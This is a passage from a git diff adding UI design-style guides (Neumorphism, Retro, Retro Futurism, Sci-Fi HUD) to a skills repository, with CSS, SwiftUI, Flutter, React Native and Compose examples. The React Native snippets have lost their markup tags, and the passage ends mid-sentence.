"click" feel. +- **DON'T**: Use gradients or blurred shadows. The aesthetic relies entirely on flat, sharp vectors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/neumorphism/SKILL.md b/antigravity-awesome-skills/skills/design-it/neumorphism/SKILL.md new file mode 100644 index 00000000..2aa74a3b --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/neumorphism/SKILL.md @@ -0,0 +1,248 @@ +--- +name: neumorphism +description: Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Neumorphism (Soft UI) + +> "Elements extruded from the background material itself, shaped by a singular, persistent light source." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Unified Surface Color**: The background and the elements MUST share the exact same base color. +2. **Dual Shadows**: Elements are shaped by two shadows: a light shadow (highlight) on the side facing the light source, and a dark shadow on the opposite side. +3. **No Borders**: The shape is entirely defined by the shadows. + +## Visual DNA +- **Colors**: Works best with mid-tone neutrals. **Desert Mirage**, **Earth-Grounded Elegance**, or **Sophisticated Neutral** are perfect. Avoid pure white or pure black (shadows/highlights won't show). +- **Typography**: Soft, rounded sans-serifs (e.g., `Nunito`, `Quicksand`). +- **Shapes**: Pill shapes, rounded rectangles. Sharp corners break the illusion of extruded material. + +## Web Implementation +- The magic is entirely in `box-shadow` manipulating light and dark variants of the base color. +- **CSS Example**: +```css +:root { + --base-color: #E6E2DD; /* From Sophisticated Neutral */ + --highlight: #ffffff; + --shadow: #c4c0bc; +} + +body { + background-color: var(--base-color); +} + +.neu-element { + background-color: var(--base-color); + border-radius: 20px; + /* Top-left highlight, Bottom-right shadow */ + box-shadow: 9px 9px 18px var(--shadow), + -9px -9px 18px var(--highlight); + padding: 32px; +} + +.neu-pressed { + /* Inset shadows for pressed/active state */ + border-radius: 20px; + background: var(--base-color); + box-shadow: inset 9px 9px 18px var(--shadow), + inset -9px -9px 18px var(--highlight); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeuCard: View { + let baseColor = Color(red: 0.90, green: 0.89, blue: 0.87) // #E6E2DD + + var body: some View { + VStack(spacing: 24) { + Text("Neumorphic Card") + .font(.system(size: 20, weight: .semibold, design: .rounded)) + + Text("Extruded from the surface itself.") + .font(.system(size: 15, design: .rounded)) + .foregroundColor(.secondary) + } + .padding(32) + .background(baseColor) + .cornerRadius(20) + // Light shadow (top-left) + .shadow(color: Color.white.opacity(0.7), radius: 10, x: -8, y: -8) + // Dark shadow (bottom-right) + .shadow(color: Color.black.opacity(0.15), radius: 10, x: 8, y: 8) + } +} + +// Pressed / inset neumorphic button +struct NeuButton: View { + @State private var isPressed = false + let baseColor = Color(red: 0.90, green: 0.89, blue: 0.87) + + var body: some View { + Button(action: {}) { + Text("Press Me") + .font(.system(size: 16, weight: .semibold, design: .rounded)) + .foregroundColor(.primary) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background( + Group { + if isPressed { + // Inset effect using inner shadow (ZStack trick) + RoundedRectangle(cornerRadius: 16) + .fill(baseColor) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(baseColor, lineWidth: 4) + .shadow(color: Color.black.opacity(0.2), radius: 4, x: 4, y: 4) + .clipShape(RoundedRectangle(cornerRadius: 16)) + ) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(baseColor, lineWidth: 4) + .shadow(color: Color.white.opacity(0.7), radius: 4, x: -4, y: -4) + .clipShape(RoundedRectangle(cornerRadius: 16)) + ) + } else { + RoundedRectangle(cornerRadius: 16) + .fill(baseColor) + .shadow(color: Color.white.opacity(0.7), radius: 10, x: -8, y: -8) + .shadow(color: Color.black.opacity(0.15), radius: 10, x: 8, y: 8) + } + } + ) + .buttonStyle(.plain) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- The key trick: two `.shadow()` modifiers — one white (top-left), one dark (bottom-right). +- Inner shadow (pressed state) requires a ZStack/overlay hack since SwiftUI doesn't have native `inset` shadows. Clip stroked shapes to simulate. +- The view's background color MUST match its parent's background exactly. + +### Flutter +```dart +class NeuCard extends StatelessWidget { + final Color baseColor = const Color(0xFFE6E2DD); + + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: baseColor, + borderRadius: BorderRadius.circular(20), + boxShadow: [ + // Dark shadow (bottom-right) + BoxShadow( + color: Colors.black.withOpacity(0.15), + offset: const Offset(8, 8), + blurRadius: 16, + ), + // Light shadow (top-left) + BoxShadow( + color: Colors.white.withOpacity(0.7), + offset: const Offset(-8, -8), + blurRadius: 16, + ), + ], + ), + child: Column( + children: [ + const Text('Neumorphic Card', + style: TextStyle(fontSize: 20, fontWeight: FontWeight.w600)), + const SizedBox(height: 16), + Text('Extruded from the surface itself.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + ], + ), + ); + } +} +``` +- **Inner shadows** (for pressed state) are NOT natively supported in Flutter's `BoxShadow`. +- Use the `flutter_inset_box_shadow` package OR fake it with a layered `Stack`: place a `Container` with a dark gradient overlay on top and a light gradient below. +- Set the `Scaffold` background to the SAME `baseColor` so elements look extruded. + +### React Native +```jsx +const NeuCard = () => ( + + Neumorphic Card + + Extruded from the surface itself. + + +); +``` +- **Major limitation**: React Native only supports ONE shadow per view. True neumorphism requires TWO opposing shadows. +- **Workaround**: Use `react-native-shadow-2` or `react-native-neomorph-shadows` which provide multi-shadow support. +- Alternative: Wrap two nested `View`s — the outer one has the dark shadow, the inner one has the light shadow. +- Inner shadows for pressed states require SVG-based solutions or pre-rendered images. + +### Jetpack Compose +```kotlin +@Composable +fun NeuCard() { + val baseColor = Color(0xFFE6E2DD) + + Box( + modifier = Modifier + .padding(24.dp) + .shadow( + elevation = 8.dp, + shape = RoundedCornerShape(20.dp), + ambientColor = Color.Black.copy(alpha = 0.15f), + spotColor = Color.Black.copy(alpha = 0.15f), + ) + .background(baseColor, RoundedCornerShape(20.dp)) + .padding(32.dp) + ) { + Column { + Text("Neumorphic Card", + fontSize = 20.sp, fontWeight = FontWeight.SemiBold) + Spacer(Modifier.height(16.dp)) + Text("Extruded from the surface itself.", + fontSize = 15.sp, color = Color(0xFF888888)) + } + } +} +``` +- **Compose limitation**: Like React Native, Compose `Modifier.shadow()` only supports a single directional shadow. +- For true dual-shadow neumorphism, use a custom `Modifier.drawBehind { }` with `drawIntoCanvas` to paint two separate shadow paths (one light, one dark). +- The `neumorphic-compose` library provides a pre-built `Modifier.neumorphic()` that handles both shadows. +- Set the `Scaffold` background to the same `baseColor` — this is non-negotiable. + +## Do's and Don'ts +- **DO**: Use inset shadows for "active" states (like pressed buttons or filled form fields). +- **DON'T**: Rely on Neumorphism for critical elements without secondary indicators. Contrast is inherently low, making it an accessibility nightmare if used improperly. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/retro-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/retro-design/SKILL.md new file mode 100644 index 00000000..0a95c93f --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/retro-design/SKILL.md @@ -0,0 +1,283 @@ +--- +name: retro-design +description: Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Retro Design + +> "A warm, analog feeling. Nostalgia through muted tones, grain, and classic typography." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Warm, Analog Color Palettes**: Colors look faded by the sun or printed on aged paper. +2. **Texture and Noise**: A slight grain overlay to simulate film or old print media. +3. **Classic Typography Pairings**: Heavy, groovy display fonts paired with typewriter or classic serif body copy. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or warm, faded palettes (mustard yellow, burnt orange, sage green, off-white). +- **Typography**: Display fonts like `Cooper Black`, `Garamond`, or `Courier`. +- **Styling**: Badges, stamps, wavy borders, and halftone patterns. + +## Web Implementation +- Use CSS filters and background noise images to create texture. +- **CSS Example**: +```css +body { + background-color: #F4E8D1; /* Aged paper */ + color: #3E2723; /* Deep brown ink */ + font-family: 'Georgia', serif; + + /* Apply a subtle noise overlay using a pseudo-element or background image */ + background-image: url('noise-texture.png'); + background-blend-mode: multiply; +} + +.retro-header { + font-family: 'Cooper Black', serif; + font-size: 4rem; + color: #D35400; /* Burnt orange */ + text-shadow: 2px 2px 0px #F1C40F; /* Mustard yellow drop shadow */ + letter-spacing: -1px; +} + +.retro-card { + background-color: #FFF3E0; + border: 2px solid #3E2723; + border-radius: 12px; + padding: 24px; + + /* Vintage offset shadow */ + box-shadow: 8px 8px 0px #795548; +} + +.retro-badge { + display: inline-block; + background-color: #E74C3C; + color: #F4E8D1; + font-family: monospace; + font-weight: bold; + padding: 8px 16px; + border-radius: 50%; /* Make it look like a sticker */ + transform: rotate(-10deg); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct RetroCard: View { + let paperColor = Color(red: 0.96, green: 0.91, blue: 0.82) // #F4E8D1 + let inkColor = Color(red: 0.24, green: 0.15, blue: 0.14) // #3E2723 + + var body: some View { + ZStack { + paperColor.ignoresSafeArea() + + // Optional: Noise texture + Image("film_grain") + .resizable() + .blendMode(.multiply) + .opacity(0.3) + .ignoresSafeArea() + + VStack(alignment: .leading, spacing: 24) { + Text("RETRO DESIGN") + .font(.custom("Cooper Black", size: 36)) + .foregroundColor(Color(red: 0.83, green: 0.33, blue: 0.0)) // #D35400 + .shadow(color: Color(red: 0.95, green: 0.77, blue: 0.06), radius: 0, x: 2, y: 2) + + Text("Analog warmth and classic typography.") + .font(.custom("Georgia", size: 18)) + .foregroundColor(inkColor) + } + .padding(32) + .background(Color(red: 1.0, green: 0.95, blue: 0.88)) + .cornerRadius(12) + .overlay( + RoundedRectangle(cornerRadius: 12) + .stroke(inkColor, lineWidth: 2) + ) + // Vintage solid offset shadow + .shadow(color: Color(red: 0.47, green: 0.33, blue: 0.28), radius: 0, x: 8, y: 8) + } + } +} +``` +- A grain texture image can be overlaid using `.blendMode(.multiply)`. Be aware of memory usage with full-screen textures. +- Use `.shadow(radius: 0)` to create the hard offset shadows typical of 70s print media. +- Custom fonts like Cooper Black are absolutely required. + +### Flutter +```dart +class RetroCard extends StatelessWidget { + final Color paperColor = const Color(0xFFF4E8D1); + final Color inkColor = const Color(0xFF3E2723); + + @override + Widget build(BuildContext context) { + return Container( + color: paperColor, + child: Stack( + fit: StackFit.expand, + children: [ + // Noise texture + Opacity( + opacity: 0.3, + child: Image.asset('assets/film_grain.png', + fit: BoxFit.cover, + colorBlendMode: BlendMode.multiply), + ), + Center( + child: Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: const Color(0xFFFFF3E0), + borderRadius: BorderRadius.circular(12), + border: Border.all(color: inkColor, width: 2), + boxShadow: const [ + BoxShadow( + color: Color(0xFF795548), + blurRadius: 0, // Hard offset shadow + offset: Offset(8, 8), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('RETRO DESIGN', + style: TextStyle( + fontFamily: 'Cooper', + fontSize: 36, + color: Color(0xFFD35400), + shadows: [Shadow(color: Color(0xFFF1C40F), offset: Offset(2, 2))], + )), + const SizedBox(height: 24), + Text('Analog warmth and classic typography.', + style: TextStyle(fontFamily: 'Georgia', fontSize: 18, color: inkColor)), + ], + ), + ), + ), + ], + ), + ); + } +} +``` +- Wrap backgrounds in a `Stack` to place a semi-transparent film grain asset over the solid color. +- Drop shadows for text and containers must have `blurRadius: 0` to emulate offset misregistered ink prints. + +### React Native +```jsx +const RetroCard = () => { + return ( + + + + RETRO DESIGN + + + Analog warmth and classic typography. + + + + ); +}; +``` +- Use `ImageBackground` on the root view for the grain. +- Android's `elevation` cannot do unblurred offset shadows natively. Use `react-native-drop-shadow` for perfect retro shadows on Android. + +### Jetpack Compose +```kotlin +@Composable +fun RetroCard() { + val inkColor = Color(0xFF3E2723) + + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFF4E8D1))) { + // Noise Texture Overlay + Image( + painter = painterResource(id = R.drawable.film_grain), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier.matchParentSize().alpha(0.3f), + colorFilter = ColorFilter.tint(Color.Black, BlendMode.Multiply) + ) + + Box( + modifier = Modifier + .align(Alignment.Center) + .padding(24.dp) + // Fake hard shadow in compose by drawing behind + .drawBehind { + drawRoundRect( + color = Color(0xFF795548), + topLeft = Offset(8.dp.toPx(), 8.dp.toPx()), + size = size, + cornerRadius = CornerRadius(12.dp.toPx()) + ) + } + .background(Color(0xFFFFF3E0), RoundedCornerShape(12.dp)) + .border(2.dp, inkColor, RoundedCornerShape(12.dp)) + .padding(32.dp) + ) { + Column { + Text("RETRO DESIGN", + fontFamily = FontFamily(Font(R.font.cooper_black)), + fontSize = 36.sp, + color = Color(0xFFD35400), + style = TextStyle(shadow = Shadow(Color(0xFFF1C40F), Offset(4f, 4f), 0f)) + ) + Spacer(Modifier.height(24.dp)) + Text("Analog warmth and classic typography.", + fontFamily = FontFamily.Serif, + fontSize = 18.sp, + color = inkColor) + } + } + } +} +``` +- Native `Modifier.shadow` creates soft blurs. Use `Modifier.drawBehind` to draw an offset `drawRoundRect` for the hard retro shadow block. +- Text shadows support hard offsets perfectly via `Shadow(color, offset, blurRadius = 0f)`. + +## Do's and Don'ts +- **DO**: Use slightly off-white backgrounds (cream, beige) instead of pure `#FFFFFF` to simulate aged paper. +- **DON'T**: Use sleek, modern geometric sans-serifs or tech-focused neon colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/retro-futurism/SKILL.md b/antigravity-awesome-skills/skills/design-it/retro-futurism/SKILL.md new file mode 100644 index 00000000..af0e8f07 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/retro-futurism/SKILL.md @@ -0,0 +1,259 @@ +--- +name: retro-futurism +description: Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Retro Futurism + +> "The future as imagined in the 1950s and 60s. Rockets, atoms, and sleek, aerodynamic chrome." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Aerodynamic Shapes**: Lots of sweeping curves, teardrop shapes, and swooping lines. Nothing is a perfect square. +2. **Space-Age Motifs**: Stars, atoms, orbits, and fins (like a 1950s Cadillac). +3. **Mid-Century Colors mixed with Chrome**: Classic 50s pastels paired with shiny, reflective metals. + +## Visual DNA +- **Colors**: Turquoise (`#40E0D0`), Atomic Tangerine (`#FF9966`), Mint Green (`#98FF98`), paired with Silver/Chrome and deep Space Black. +- **Typography**: Googie architecture fonts, bold cursive scripts, or clean mid-century geometric sans-serifs (like `Futura`). +- **Styling**: Sleek bezels, dramatic drop shadows, and offset overlapping shapes. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #FDF5E6; /* Old paper / cream */ + color: #2F4F4F; + font-family: 'Futura', 'Trebuchet MS', sans-serif; + overflow-x: hidden; +} + +/* Googie-style sweeping background element */ +.retro-future-swoop { + position: absolute; + top: 0; right: -10%; + width: 120%; height: 300px; + background-color: #40E0D0; /* Turquoise */ + border-radius: 0 0 50% 50%; + transform: rotate(-5deg); + z-index: -1; + border-bottom: 8px solid #FF9966; /* Atomic tangerine stripe */ +} + +.atompunk-card { + background-color: #fff; + border: 4px solid #Silver; + border-radius: 40px 10px 40px 10px; /* Sweeping, aerodynamic corners */ + padding: 32px; + box-shadow: 15px 15px 0px rgba(0,0,0,0.1); + position: relative; +} + +/* Classic starburst motif */ +.starburst { + position: absolute; + top: -20px; left: -20px; + width: 40px; height: 40px; + background-color: #FF9966; + clip-path: polygon(50% 0%, 61% 35%, 98% 35%, 68% 57%, 79% 91%, 50% 70%, 21% 91%, 32% 57%, 2% 35%, 39% 35%); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AtompunkShape: Shape { + func path(in rect: CGRect) -> Path { + var path = Path() + // Sweeping aerodynamic curves (large radius top-left, bottom-right) + path.addRoundedRect( + in: rect, + cornerSize: CGSize(width: 40, height: 40), + style: .continuous + ) + // To be perfectly authentic, use Path to draw teardrop curves + return path + } +} + +struct RetroFutureCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("ATOMPUNK") + .font(.custom("Futura", size: 28)) + .fontWeight(.bold) + .foregroundColor(Color(red: 0.18, green: 0.31, blue: 0.31)) + + Text("Sleek chrome and sweeping curves.") + .font(.custom("Futura", size: 16)) + } + .padding(32) + .background(Color.white) + // Asymmetric corners: large top-left/bottom-right, small top-right/bottom-left + .cornerRadius(40, corners: [.topLeft, .bottomRight]) + .cornerRadius(10, corners: [.topRight, .bottomLeft]) + .overlay( + // Chrome-like border + RoundedRectangle(cornerRadius: 10) // Simplified overlay for demo + .stroke( + LinearGradient(colors: [.gray, .white, .gray], startPoint: .top, endPoint: .bottom), + lineWidth: 4 + ) + ) + .shadow(color: .black.opacity(0.1), radius: 0, x: 15, y: 15) + } +} +// Note: Asymmetric corners require a custom ViewModifier in SwiftUI. +``` +- Rely on asymmetrical corner radii to create the aerodynamic, teardrop aesthetic. +- Metallic/Chrome borders are faked by using a `LinearGradient` of grays and whites. + +### Flutter +```dart +class RetroFutureCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + // Asymmetric "aerodynamic" shape + borderRadius: const BorderRadius.only( + topLeft: Radius.circular(40), + bottomRight: Radius.circular(40), + topRight: Radius.circular(10), + bottomLeft: Radius.circular(10), + ), + // Chrome border simulation + border: Border.all( + width: 4, + color: Colors.transparent, // Requires custom painter for gradient border + ), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.1), + offset: const Offset(15, 15), + blurRadius: 0, // Hard shadow + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: const [ + Text('ATOMPUNK', + style: TextStyle(fontFamily: 'Futura', fontSize: 28, fontWeight: FontWeight.bold, color: Color(0xFF2F4F4F))), + SizedBox(height: 16), + Text('Sleek chrome and sweeping curves.', + style: TextStyle(fontFamily: 'Futura', fontSize: 16)), + ], + ), + ); + } +} +``` +- Flutter handles asymmetric corners natively via `BorderRadius.only()`. +- Gradient borders (for chrome) require a `CustomPaint` or wrapping the container in another container with a gradient background and padding. + +### React Native +```jsx +const RetroFutureCard = () => { + return ( + + + ATOMPUNK + + + Sleek chrome and sweeping curves. + + + ); +}; +``` +- React Native natively supports `borderTopLeftRadius` style independent props, making the aerodynamic shapes trivial. +- Complex geometric backgrounds (like starbursts) should definitely be SVG components imported via `react-native-svg`. + +### Jetpack Compose +```kotlin +@Composable +fun RetroFutureCard() { + Box( + modifier = Modifier + .padding(24.dp) + // Fake hard shadow + .drawBehind { + drawRoundRect( + color = Color.Black.copy(alpha = 0.1f), + topLeft = Offset(15.dp.toPx(), 15.dp.toPx()), + size = size, + cornerRadius = CornerRadius(40.dp.toPx(), 10.dp.toPx()) // Simplification + ) + } + .background( + color = Color.White, + // Aerodynamic asymmetric corners + shape = RoundedCornerShape( + topStart = 40.dp, + topEnd = 10.dp, + bottomEnd = 40.dp, + bottomStart = 10.dp + ) + ) + .border( + width = 4.dp, + brush = Brush.verticalGradient(listOf(Color.LightGray, Color.White, Color.LightGray)), + shape = RoundedCornerShape( + topStart = 40.dp, + topEnd = 10.dp, + bottomEnd = 40.dp, + bottomStart = 10.dp + ) + ) + .padding(32.dp) + ) { + Column { + Text("ATOMPUNK", + fontFamily = FontFamily.SansSerif, // Replace with Futura + fontSize = 28.sp, fontWeight = FontWeight.Bold, color = Color(0xFF2F4F4F)) + Spacer(Modifier.height(16.dp)) + Text("Sleek chrome and sweeping curves.", fontSize = 16.sp) + } + } +} +``` +- Use `RoundedCornerShape(topStart, topEnd, bottomEnd, bottomStart)` to create the atompunk aesthetic. +- The `Modifier.border` takes a `Brush` natively, making the metallic chrome gradient incredibly easy to achieve compared to other frameworks. + +## Do's and Don'ts +- **DO**: Use strict `Futura` or `Century Gothic` for a very authentic mid-century feel. +- **DON'T**: Make the UI look dirty or distressed (that's standard retro or steampunk). Retro-futurism is clean, optimistic, and shiny. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/sci-fi-interface/SKILL.md b/antigravity-awesome-skills/skills/design-it/sci-fi-interface/SKILL.md new file mode 100644 index 00000000..6c95681f --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/sci-fi-interface/SKILL.md @@ -0,0 +1,309 @@ +--- +name: sci-fi-interface +description: Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Sci-Fi Interface Design (HUD) + +> "Heads-Up Display. Tactical, precise, and highly analytical." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Wireframe and Outlines**: Interfaces are built almost entirely out of thin strokes rather than solid filled boxes. +2. **Circular Arrays & Radars**: Heavy use of concentric circles, radar sweeps, and curved progress bars. +3. **Monochrome + Warning**: Often entirely monochromatic (just blue, or just green) with a secondary color (red) used exclusively for alerts. + +## Visual DNA +- **Colors**: Midnight background. UI is pure Cyan, Emerald Green, or Amber (like classic monochrome monitors). **Minimalist Slate** works if made dark. +- **Typography**: Strict, technical monospace fonts (`Share Tech Mono`, `VT323`, `Space Mono`). All caps. +- **Styling**: Tiny UI chroming details (target brackets `[ ]`, framing lines, precise pixel coordinates). + +## Web Implementation +- Heavy use of SVG for circular dials, and CSS borders for the layout. +- **CSS Example**: +```css +body { + background-color: #000b18; /* Deep space navy */ + color: #4df; /* Holographic cyan */ + font-family: 'Share Tech Mono', monospace; + text-transform: uppercase; +} + +/* The HUD Frame */ +.hud-container { + border: 1px solid rgba(68, 221, 255, 0.3); + position: relative; + padding: 30px; +} + +/* Corner brackets */ +.hud-container::before { + content: ''; + position: absolute; + top: -2px; left: -2px; + width: 20px; height: 20px; + border-top: 2px solid #4df; + border-left: 2px solid #4df; +} +.hud-container::after { + content: ''; + position: absolute; + bottom: -2px; right: -2px; + width: 20px; height: 20px; + border-bottom: 2px solid #4df; + border-right: 2px solid #4df; +} + +.hud-value { + font-size: 3rem; + text-shadow: 0 0 10px rgba(68, 221, 255, 0.8); +} + +.hud-warning { + color: #ff3333; + text-shadow: 0 0 10px rgba(255, 51, 51, 0.8); + animation: blink 1s step-end infinite; +} + +@keyframes blink { 50% { opacity: 0; } } +``` + +## App Implementation + +### SwiftUI +```swift +struct SciFiHUDView: View { + @State private var bootUp = false + + var body: some View { + ZStack { + Color(hex: "000b18").ignoresSafeArea() // Deep space navy + + VStack { + // Circular Radar/Dial + ZStack { + Circle() + .stroke(Color(hex: "4df").opacity(0.3), lineWidth: 1) + + Circle() + .trim(from: 0.0, to: bootUp ? 0.75 : 0.0) + .stroke(Color(hex: "4df"), style: StrokeStyle(lineWidth: 4, lineCap: .round)) + .rotationEffect(.degrees(-90)) + + Text("SYS.OK") + .font(.custom("Space Mono", size: 24)) + .foregroundColor(Color(hex: "4df")) + .shadow(color: Color(hex: "4df"), radius: 5) + } + .frame(width: 200, height: 200) + .padding(.bottom, 40) + + // HUD Data Frame + HStack { + Text("COORD: 45.22, 12.8") + Spacer() + Text("[ LOCK ]") + } + .font(.custom("Space Mono", size: 16)) + .foregroundColor(Color(hex: "4df")) + .padding() + .border(Color(hex: "4df").opacity(0.5), width: 1) + .overlay( + // Corner bracket accents + Path { path in + path.move(to: CGPoint(x: 0, y: 15)); path.addLine(to: CGPoint(x: 0, y: 0)); path.addLine(to: CGPoint(x: 15, y: 0)) + path.move(to: CGPoint(x: 300, y: 15)); path.addLine(to: CGPoint(x: 300, y: 0)); path.addLine(to: CGPoint(x: 285, y: 0)) + } + .stroke(Color(hex: "4df"), lineWidth: 2) + ) + } + .padding() + } + .onAppear { + withAnimation(.easeInOut(duration: 2.0)) { bootUp = true } + } + } +} +``` +- SwiftUI is uniquely fantastic for Sci-Fi HUDs. `Circle().trim(from: to:)` lets you build complex sweeping circular progress rings. +- Use `Path` overlays to draw the exact 90-degree corner brackets (`[ ]`) that define the HUD look. + +### Flutter +```dart +class SciFiHUDScreen extends StatefulWidget { + @override + State createState() => _SciFiHUDScreenState(); +} + +class _SciFiHUDScreenState extends State with SingleTickerProviderStateMixin { + late AnimationController _ctrl; + + @override + void initState() { + super.initState(); + _ctrl = AnimationController(vsync: this, duration: const Duration(seconds: 2))..forward(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF000B18), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Circular Radar + SizedBox( + width: 200, height: 200, + child: Stack( + fit: StackFit.expand, + children: [ + CircularProgressIndicator(value: 1.0, strokeWidth: 1, color: const Color(0xFF44DDFF).withOpacity(0.3)), + AnimatedBuilder( + animation: _ctrl, + builder: (context, _) => CircularProgressIndicator( + value: _ctrl.value * 0.75, // 75% full + strokeWidth: 4, + color: const Color(0xFF44DDFF), + ), + ), + const Center( + child: Text('SYS.OK', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF), fontSize: 24, shadows: [Shadow(color: Color(0xFF44DDFF), blurRadius: 5)])), + ) + ], + ), + ), + const SizedBox(height: 40), + + // HUD Data Frame (requires CustomPaint for true corner brackets) + Container( + width: 300, + padding: const EdgeInsets.all(16), + decoration: BoxDecoration(border: Border.all(color: const Color(0xFF44DDFF).withOpacity(0.5))), + child: const Row( + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + Text('COORD: 45.22, 12.8', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF))), + Text('[ LOCK ]', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF))), + ], + ), + ) + ], + ), + ), + ); + } +} +``` +- `CircularProgressIndicator` is an easy hack for circular HUD rings, but for true Sci-Fi interfaces in Flutter, you should build a `CustomPainter` to draw concentric stroked circles and arcs. +- Heavy use of monospace fonts and pure cyan (`#44DDFF`). + +### React Native +```jsx +// Requires react-native-svg +import Svg, { Circle, Path } from 'react-native-svg'; + +const SciFiHUDScreen = () => { + return ( + + + {/* Circular Radar */} + + + + + + + SYS.OK + + + + {/* HUD Frame */} + + COORD: 45.22, 12.8 + [ LOCK ] + + {/* Pseudo Corner Brackets using absolute views */} + + + + + + ); +}; +``` +- You absolutely must use `react-native-svg` to draw circular HUD dials. Use `strokeDasharray` and `strokeDashoffset` on the `` to draw arcs. +- The corner brackets are built easily by absolutely positioning small `View`s with 2 active borders over the corners of a container. + +### Jetpack Compose +```kotlin +@Composable +fun SciFiHUDScreen() { + // Animation for boot up + val transition = rememberInfiniteTransition() + val sweep by transition.animateFloat(initialValue = 0f, targetValue = 270f, animationSpec = infiniteRepeatable(tween(2000), RepeatMode.Restart)) + + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFF000B18)), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + // Circular Radar + Box(contentAlignment = Alignment.Center, modifier = Modifier.size(200.dp)) { + Canvas(modifier = Modifier.fillMaxSize()) { + drawCircle(color = Color(0xFF44DDFF).copy(alpha = 0.3f), style = Stroke(width = 2f)) + drawArc( + color = Color(0xFF44DDFF), + startAngle = -90f, + sweepAngle = sweep, + useCenter = false, + style = Stroke(width = 8f, cap = StrokeCap.Round) + ) + } + Text("SYS.OK", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace, fontSize = 24.sp) + } + + Spacer(Modifier.height(40.dp)) + + // HUD Frame + Box(modifier = Modifier.width(300.dp)) { + Row( + modifier = Modifier.fillMaxWidth().border(1.dp, Color(0xFF44DDFF).copy(alpha = 0.5f)).padding(16.dp), + horizontalArrangement = Arrangement.SpaceBetween + ) { + Text("COORD: 45.22, 12.8", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace) + Text("[ LOCK ]", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace) + } + + // Corner brackets via Canvas + Canvas(modifier = Modifier.fillMaxSize()) { + val path = Path().apply { + moveTo(0f, 40f); lineTo(0f, 0f); lineTo(40f, 0f) // Top Left + moveTo(size.width, size.height - 40f); lineTo(size.width, size.height); lineTo(size.width - 40f, size.height) // Bottom Right + } + drawPath(path, color = Color(0xFF44DDFF), style = Stroke(width = 4f)) + } + } + } +} +``` +- Jetpack Compose's `Canvas` is incredibly powerful here. Use `drawArc` for the circular HUD rings. +- Draw the corner brackets on a `Canvas` overlaying the Box using `Path().apply { moveTo... lineTo... }`. + +## Do's and Don'ts +- **DO**: Animate elements entering the screen as if they are 'booting up' or 'calibrating' (drawing lines from 0 to 100%). +- **DON'T**: 